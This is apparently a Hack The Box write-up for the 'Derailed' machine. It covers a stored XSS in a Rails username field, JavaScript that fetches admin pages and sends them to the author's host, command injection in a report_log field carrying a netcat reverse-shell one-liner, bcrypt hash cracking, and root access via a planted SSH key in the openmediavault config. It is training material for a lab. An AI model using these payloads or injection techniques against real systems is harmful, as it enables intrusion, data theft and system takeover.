Derailed

Write-up by R1D3R on HTB, if you learned something please hit **Respect** & **Follow**.

Enumeration

```
Nmap scan report for 10.10.11.190
Host is up (0.080s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 16:23:b0:9a:de:0e:34:92:cb:2b:18:17:0f:f2:7b:1a (RSA)
|   256 50:44:5e:88:6b:3e:4b:5b:f9:34:1d:ed:e5:2d:91:df (ECDSA)
|_  256 0a:bd:92:23:df:44:02:6f:27:8d:a6:ab:b4:07:78:37 (ED25519)
3000/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: derailed.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.74 seconds
```

```
http://derailed.htb:3000
[200 OK] Bootstrap,
Cookies[_simple_rails_session],
Country[RESERVED][ZZ],
HTML5,
HTTPServer[nginx/1.18.0],
HttpOnly[_simple_rails_session],
IP[10.10.11.190],
Script,
Title[derailed.htb],
UncommonHeaders[x-content-type-options,x-download-options,x-permitted-
cross-domain-policies,referrer-policy,link,x-request-id],
X-Frame-Options[SAMEORIGIN],
X-XSS-Protection[1; mode=block],
nginx[1.18.0]
```

```
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://derailed.htb:3000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-
Content/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status:
200,204,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 4774, Words: 671, Lines: 129,
Duration: 150ms]
login                   [Status: 200, Size: 5592, Words: 922, Lines: 145,
Duration: 184ms]
register                [Status: 200, Size: 5908, Words: 968, Lines: 154,
Duration: 264ms]
logout                  [Status: 200, Size: 4774, Words: 671, Lines: 129,
Duration: 411ms]
404                     [Status: 200, Size: 1722, Words: 310, Lines: 68,
Duration: 397ms]
administration          [Status: 200, Size: 5592, Words: 922, Lines: 145,
Duration: 376ms]
500                     [Status: 200, Size: 1635, Words: 289, Lines: 67,
Duration: 345ms]
422                     [Status: 200, Size: 1705, Words: 305, Lines: 68,
Duration: 325ms]
                        [Status: 200, Size: 4774, Words: 671, Lines: 129,
Duration: 404ms]
```

There aren't any subdomains.

Foothold

After searching for "ruby on rails xss cve 2022" (2022 because it's when the machine was released, I was getting some results about 2023), I found this post on RubyOnRails forum, from there we can go back to the HackerOne post.
The original payload wouldn't work but when testing with a really long payload I noticed that some tags of it got in the actual DOM, from there I put a `cyclic` string and saw that after **48** characters the string would go on the `created:` field.
I tried with the simple the "normal" payload in the same HackerOne page, for instance:

```
<select><style><script>alert(1)</script></style></select>
```

At this point I saw that it was kinda working (`script` tag was getting "loaded" in the DOM but not executed), by trying things and simplifying what we already got we can get the following conclusion:
We have an XSS vulnerability in the `username` field, more specifically we can "overflow" into the `created:` section (which is printed above a created note) and, from there, execute whatever HTML code.
For example:

```
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa<select></select><style>
</style><img src=http://10.10.14.20:9090/idontexist.png onerror='(function
() { fetch("http://10.10.14.20:9090/anonfunc") } )();'>
```

I wrote a Python script to facilitate the creation of usernames (there was a character limit on the frontend):

```python
import requests

URL = "http://derailed.htb:3000"
register = "/register"
login = "/login"
logout = "/logout"
create = "/create"
report_get = "/report/{}"
report_post = "/report"
clipnote = "/clipnotes/{}"
clipnote_raw = "/clipnotes/raw/{}"

class Derailed:
    def __init__(self):
        self.session = requests.Session()
        self.logged_in = False
    def _extract_csrf_token(self, response: requests.Response) -> str:
        delimiter = '<input type="hidden" name="authenticity_token"
value="'

        return response.text.split(delimiter)[1].split('"')[0]

    def create_user(self, username: str, password: str|None = None) ->
bool:
        """
            Returns True if user was created successfully, False
otherwise.
        """
        if password is None:
            password = username

        response = self.session.get(URL + register)
        csrf_token = self._extract_csrf_token(response)

        register_form = {
            "authenticity_token": csrf_token,
            "user[username]": username,
            "user[password]": password,
            "user[password_confirmation]": password,
            "button": ""
        }
        response = self.session.post(URL + register, data=register_form,
allow_redirects=False)

        return response.status_code == 302

    def login_user(self, username: str, password: str|None = None) ->
bool:
        """
            Returns True if user was logged in successfully, False
otherwise.
        """
        if password is None:
            password = username

        response = self.session.get(URL + login)
        csrf_token = self._extract_csrf_token(response)

        login_form = {
            "authenticity_token": csrf_token,
            "session[username]": username,
            "session[password]": password,
            "button": ""
        }
        response = self.session.post(URL + login, data=login_form,
```

```python
allow_redirects=False)
        self.logged_in = response.status_code == 302

        return self.logged_in

    def logout_user(self) -> bool:
        """
            Returns True if user was logged out successfully, False
otherwise.
        """
        response = self.session.get(URL + logout)
        self.logged_in = not response.status_code == 302

        return not self.logged_in

    def create_clipnote(self, content: str) -> int|None:
        """
            Returns the ID of the clipnote if it was created successfully,
None otherwise.
        """
        if not self.logged_in:
            return None

        response = self.session.get(URL)
        csrf_token = self._extract_csrf_token(response)

        create_form = {
            "authenticity_token": csrf_token,
            "note[content]": content,
            "button": ""
        }
        response = self.session.post(URL + create, data=create_form,
allow_redirects=False)

        if response.status_code == 302:
            return int(response.text.split("clipnotes/")[1].split('"')[0])
        else:
            return None

    def report_clipnote(self, reason: str, id: int) -> bool:
        """
            Returns True if the clipnote was reported successfully, False
otherwise.
        """
        response = self.session.get(URL + report_get.format(id))
        csrf_token = self._extract_csrf_token(response)

        report_form = {
            "authenticity_token": csrf_token,
            "report[reason]": reason,
            "report[note_id]": id
        }
        response = self.session.post(URL + report_post, data=report_form,
allow_redirects=False, headers={"Referer": URL + report_get.format(id)})

        return response.status_code == 302

    def get_clipnote_raw(self, id: int) -> str|None:
        """
            Returns the raw content of the clipnote if it exists, None
otherwise.
        """
        response = self.session.get(URL + clipnote_raw.format(id))

        if response.status_code == 200:
            return response.text
        else:
            return None

if __name__ == "__main__":
    derailed = Derailed()
    while True:
        payload = input("payload> ")

        if not derailed.create_user(payload, 'a'):
            print("[-] Failed to register.")
            continue

        if not derailed.login_user(payload, 'a'):
            print("[-] Failed to login.")
            continue

        id = derailed.create_clipnote(payload)
        if id is None:
            print("[-] Failed to create clipnote.")
            continue

        print("[+] Created clipnote with ID {}. View it at {}".format(id,
URL + clipnote.format(id)))
```

At this point we can exfiltrate data as admin, more specifically the `/administration` endpoint.
We can include an hosted JavaScript file like this:

```
var
x=document.createElement("script");x.src="http://10.10.14.20:9090/plzwork.
js";document.body.appendChild(x);
```

In that file I'll put the exfil script in this repo. (modify endpoint and IP).

After exfiltrating the webpage at `/administration` we see:

```
<div class="container">

    <h3>Reports</h3>


      <form method="post" action="/administration/reports">

        <input type="hidden" name="authenticity_token"
id="authenticity_token" value="Rfp_q_01P-
J2glMtVC4c0fGl5oD_REW1uw6eIBFoiGKhi-
iwHDGiejN108CSaQCExxwR2vyPCDkgvkVOekJrkA" autocomplete="off" />

        <input type="text" class="form-control" name="report_log"
value="report_08_07_2023.log" hidden>

        <label class="pt-4"> 08.07.2023</label>

        <button name="button" type="submit">
          <i class="fas fa-download me-2"></i>
          Download
        </button>


      </form>
```

User

We've to submit the post request via XSS in order to read that log file, here's a simple javascript that does so:

```
const MY_URI = "http://10.10.14.20:9090";
const ADMIN_URI = "http://derailed.htb:3000/administration";
fetch(ADMIN_URI)
  .then(response => response.text())
  .then(body => {
    fetch(MY_URI + "/?data=" + btoa(body));

    var parser = new DOMParser();
    var doc = parser.parseFromString(body, "text/html");
    var authenticity_token =
doc.getElementById("authenticity_token").value;

    var report_form = {
        "authenticity_token": authenticity_token,
        "report_log": "report_08_07_2023.log",
        "button": ""
    };

    return fetch(ADMIN_URI + "/reports", {
        method: 'POST',
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: new URLSearchParams(report_form)
      });
  })
  .then(response => response.text())
  .then(report_data => {
    fetch(MY_URI + "/?report=" + btoa(report_data));
  })
  .catch(error => {
    fetch(MY_URI + "/?error=" + btoa(error));
  });
```

In that file there isn't much, only the a file containing:

```
REPORTED ID, MESSAGE
```

Before trying crazy LFI things, I think that it's worth noting that the server is (probably) opening a file to read.
Just to be sure that there aren't any RCE vulnerabilities when opening a file in Ruby on Rails I googled for "ruby on rails rce" and found [this interesting page]() which has quite the interesting line as the first presented exploit.
If we put `|curl http://10.10.14.20:9090/hellothisiskernel.log` we successfully get a callback!
Final script to get the shell:

```
const MY_URI = "http://10.10.14.20:9090";
const ADMIN_URI = "http://derailed.htb:3000/administration";
fetch(ADMIN_URI)
  .then(response => response.text())
  .then(body => {
    fetch(MY_URI + "/?data=" + btoa(body));

    var parser = new DOMParser();
    var doc = parser.parseFromString(body, "text/html");
    var authenticity_token =
doc.getElementById("authenticity_token").value;
```

```
    var report_form = {
        "authenticity_token": authenticity_token,
        "report_log": "|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 
10.10.14.20 9191 >/tmp/f;touch /tmp/a.log",
        "button": ""
    };

    return fetch(ADMIN_URI + "/reports", {
        method: 'POST',
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: new URLSearchParams(report_form)
      });
  })
  .then(response => response.text())
  .then(report_data => {
    fetch(MY_URI + "/?report=" + btoa(report_data));
  })
  .catch(error => {
    fetch(MY_URI + "/?error=" + btoa(error));
  });
```

I put `touch /tmp/a.log` at the end just to avoid some filters checking for the extension.

Root

First thing first, let's upload `linpeas` and run it.

linpeas interesting parts

```
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:41187         0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:36715         0.0.0.0:*               LISTEN
tcp        0      0 10.10.11.190:5357       0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3003          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN
tcp6       0      0 :::111                  :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
```

```
tcp6       0      0 :::139                  :::*                    LISTEN
tcp6       0      0 :::445                  :::*                    LISTEN
```

```
marcus:x:1001:1002:,,,:/home/marcus:/bin/bash
openmediavault-webgui:x:999:996:Toby Wright,,,:/home/openmediavault-
webgui:/bin/bash
rails:x:1000:100::/home/rails:/bin/bash
root:x:0:0:root:/root:/bin/bash
```

```
drwxrwxr-x 8 rails rails 4096 Nov  4  2022 /var/www/rails-app/.git
```

There is an SMB server.

```
Found /var/www/rails-app/db/development.sqlite3: SQLite 3.x database, last
written using SQLite version 3034001
```

```
drwxr-xr-x  5 openmediavault-webgui openmediavault-webgui  12K Nov  4
2022 openmediavault
```

So starting from the DB, the users password are stored as what seems to be `bcrypt` hash, it will be useless to crack `alice` password since there doesn't seem to be any user with that name on the machine, that's why we'll try with `toby` (which is `openmediavault-webgui` on the machine).

```
$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle:greenday
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......:
$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqq...nZYyle
Time.Started.....: Sat Jul  8 17:37:53 2023, (2 secs)
Time.Estimated...: Sat Jul  8 17:37:55 2023, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-
Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       95 H/s (293.33ms) @ Accel:1 Loops:512 Thr:16
Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests
(new)
Progress.........: 224/14344384 (0.00%)
```

```
Rejected.........: 0/224 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:3584-4096
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> horses
Hardware.Mon.#1..: Temp: 48c Util:100% Core:1740MHz Mem:5000MHz Bus:8

Started: Sat Jul  8 17:37:37 2023
Stopped: Sat Jul  8 17:37:56 2023
```

```
rails@derailed:/var/www/openmediavault$ su openmediavault-webgui
Password:
openmediavault-webgui@derailed:/var/www/openmediavault$
```

We can successfully login with the credentials:

```
openmediavault-webgui
greenday
```

While looking around, I saw that we can edit `/etc/openmediavault/config.xml` which looked just weird. So we have to found a way to get either `marcus` or `root` credentials from this.

While scrolling the `config.xml` I notice the part:

```xml
<user>
  <uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
  <name>test</name>
  <email></email>
  <disallowusermod>0</disallowusermod>
  <sshpubkeys></sshpubkeys>
</user>
```

The `<sshpubkeys>` seems quite interesting so it's worth giving it a shot.
After looking at the template config we see an example of how the `<sshpubkeys>` should look like:

```xml
<user>
        <uuid>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</uuid>
        <name>xxx</name>
        <email>xxx</email>
        <disallowusermod>0</disallowusermod>
        <sshpubkeys>
                <sshpubkey>|xxx</sshpubkey>
        </sshpubkeys>
</user>
```

Now, as per documentation about the SSH service, we have to pass the key as a `RFC 4716` format. The doc page provides us with the command to do so, hence we do:

```
λ ssh-keygen -e -f id_ed25519.pub
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "256-bit ED25519, converted by imagine@sadness from OpenSSH"
AAAAC3NzaC1lZDI1NTE5AAAAIEaJTzw7dnMV0tQkPttoWgxgBX0hjauqssuZ6s5wCPDC
---- END SSH2 PUBLIC KEY ----
```

Finalizing things, we change the username from `test` to `root`:

```
<user>
  <uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
  <name>root</name>
  <email></email>
  <disallowusermod>0</disallowusermod>
  <sshpubkeys><sshpubkey>---- BEGIN SSH2 PUBLIC KEY ----
Comment: "256-bit ED25519, converted by imagine@sadness from OpenSSH"
AAAAC3NzaC1lZDI1NTE5AAAAIEaJTzw7dnMV0tQkPttoWgxgBX0hjauqssuZ6s5wCPDC
---- END SSH2 PUBLIC KEY ----</sshpubkey>
</sshpubkeys>
</user>
```

Now we have to find a way to apply these new config.

By searching online I found out that there should be some tools which name starts with `omv-`, so I ran a `find` and found that there are 2 interesting binaries:

```
omv-confdbadm, because it has conf in the name
omv-rpc, because it does some Remote Procedures Call
```

By searching `omv-confdbadm` on the docs, we get a description of what it does, which is:

```
omv-confdbadm is a tool written in python for retrieving, storing or
deleting values from/to the database. This tool combined with jq [1]
provides an easier method for interacting with the database using
Shell/BASH.
```

Not really useful.
We also notice that there are only 3 binaries documented: `omv-salt`, `omv-confdbadm` and `omv-rpc`.

Moving on to `omv-rpc`, we observe that:

```
This tool can execute RPC commands. This is identical of what the web
frontend uses to set/get information. It accepts service, method and
parameters. RPC services can be found listed in engined/rpc folder
```

Maybe it can set information about the config.
After googling for "omv-rpc set config" and opening the first forum result, we see a command which looks like this:

```
sudo /usr/sbin/omv-rpc -u admin "config" "applyChanges" "{ \"modules\":
$(cat /var/lib/openmediavault/dirtymodules.json),\"force\": true }"
```

After trying for something like:

```
sudo /usr/sbin/omv-rpc -u admin "config" "applyChanges"
```

We can see a stacktrace, from there we can deduce that it is asking for a third parameter, if we pass "ssh" as module we get an error complaining that it's not an array, so we just wrap it up with parentheses. The final payload looks like this:

```
/usr/sbin/omv-rpc -u admin "config" "applyChanges" "{ \"modules\":
[\"ssh\"],\"force\": true }"
```

If we execute it we get `null` and, if we try to login using the key, we can!

```
ssh -i id_ed25519 root@derailed.htb
0 (0.005s) < 20:25:58
Linux derailed 5.19.0-0.deb11.2-amd64 #1 SMP PREEMPT_DYNAMIC Debian
5.19.11-1~bpo11+1 (2022-10-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jul  8 14:15:23 2023 from 10.10.14.20
root@derailed:~#
```